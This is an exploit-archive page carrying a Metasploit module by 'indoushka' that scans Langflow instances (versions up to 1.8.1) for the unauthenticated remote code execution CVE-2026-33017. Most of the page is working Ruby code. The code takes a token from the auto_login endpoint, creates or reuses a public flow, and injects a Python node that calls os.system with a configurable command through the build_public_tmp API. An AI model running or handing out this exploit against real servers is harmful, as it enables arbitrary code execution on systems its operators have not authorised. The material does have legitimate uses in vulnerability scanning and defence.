Share
## https://sploitus.com/exploit?id=PACKETSTORM:218139
==================================================================================================================================
    | # Title     : Langflow 1.8.1 Unauthenticated RCE Scanner                                                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.langflow.org/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module scans Langflow instances for the CVE-2026-33017 vulnerability, an unauthenticated Remote Code Execution (RCE) affecting versions โ‰ค 1.8.1.
    
    [+] The module works by:
    
    Attempting to obtain an authentication token via the auto_login endpoint
    Locating or creating a public flow
    Injecting a malicious Python component into the flow
    Triggering execution through the API
    Determining vulnerability based on successful execution indicators (e.g., job creation)
    
    [+] POC   :  
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow CVE-2026-33017 Scanner',
            'Description' => %q{
              Scan Langflow instances for unauthenticated RCE (CVE-2026-33017).
            },
            'License' => MSF_LICENSE,
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-33017']
            ],
            'DisclosureDate' => '2026-03-30'
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('TEST_COMMAND', [false, 'Command', 'echo VULN_TEST']),
          OptString.new('FLOW_ID', [false, 'Public flow ID', nil]),
          OptBool.new('AUTO_LOGIN', [true, 'Use auto_login', true]),
          OptBool.new('CLEANUP', [true, 'Delete created flow', true])
        ])
      end
    
      def run_host(ip)
        print_status("Scanning #{rhost}:#{rport}")
    
        flow_id = datastore['FLOW_ID']
        token = nil
        flow_created = false
    
        if datastore['AUTO_LOGIN']
          token = get_auth_token
        end
    
        if flow_id.nil?
          if token
            flow_id = find_public_flow(token)
    
            if flow_id.nil?
              flow_id = create_public_flow(token)
              flow_created = true if flow_id
            end
          else
            print_error("No token and no FLOW_ID")
            return
          end
        end
    
        if flow_id.nil?
          print_error("Failed to obtain flow_id")
          return
        end
    
        test_cmd = datastore['TEST_COMMAND']
        success = send_exploit(flow_id, test_cmd, token)
    
        if success
          print_good("#{rhost}:#{rport} VULNERABLE")
          report_vulnerability(flow_id)
        else
          print_status("#{rhost}:#{rport} Not vulnerable")
        end
    
      rescue ::Rex::ConnectionError
        print_error("#{rhost}:#{rport} Connection failed")
      ensure
        if flow_created && datastore['CLEANUP'] && token && flow_id
          delete_flow(flow_id, token)
        end
      end
    
      def get_auth_token
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document rescue nil
        json ? json['access_token'] : nil
      end
    
      def find_public_flow(token)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
          'headers' => { 'Authorization' => "Bearer #{token}" }
        )
    
        return nil unless res&.code == 200
    
        flows = res.get_json_document rescue nil
        return nil unless flows.is_a?(Array)
    
        flows.each do |f|
          return f['id'] if f['access_type'] == 'PUBLIC'
        end
    
        nil
      end
    
      def create_public_flow(token)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
          'headers' => {
            'Authorization' => "Bearer #{token}",
            'Content-Type' => 'application/json'
          },
          'data' => {
            name: "scanner-#{Rex::Text.rand_text_alpha(6)}",
            data: { nodes: [], edges: [], viewport: {} },
            access_type: 'PUBLIC'
          }.to_json
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document rescue nil
        json ? json['id'] : nil
      end
    
      def delete_flow(flow_id, token)
        send_request_cgi(
          'method' => 'DELETE',
          'uri' => normalize_uri(target_uri.path, "api/v1/flows/#{flow_id}"),
          'headers' => { 'Authorization' => "Bearer #{token}" }
        )
      end
    
      def build_exploit_payload(cmd)
        {
          data: {
            nodes: [{
              id: Rex::Text.rand_text_uuid,
              type: 'genericNode',
              data: {
                node: {
                  template: {
                    code: {
                      value: "__import__('os').system('#{cmd}')"
                    }
                  }
                }
              }
            }]
          }
        }
      end
    
      def send_exploit(flow_id, command, token = nil)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
          'ctype' => 'application/json',
          'data' => build_exploit_payload(command).to_json
        )
    
        return false unless res&.code == 200
    
        json = res.get_json_document rescue nil
        json && json['job_id']
      end
    
      def report_vulnerability(flow_id)
        report_vuln(
          host: rhost,
          port: rport,
          name: name,
          info: "Vulnerable to CVE-2026-33017 (flow_id=#{flow_id})"
        )
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================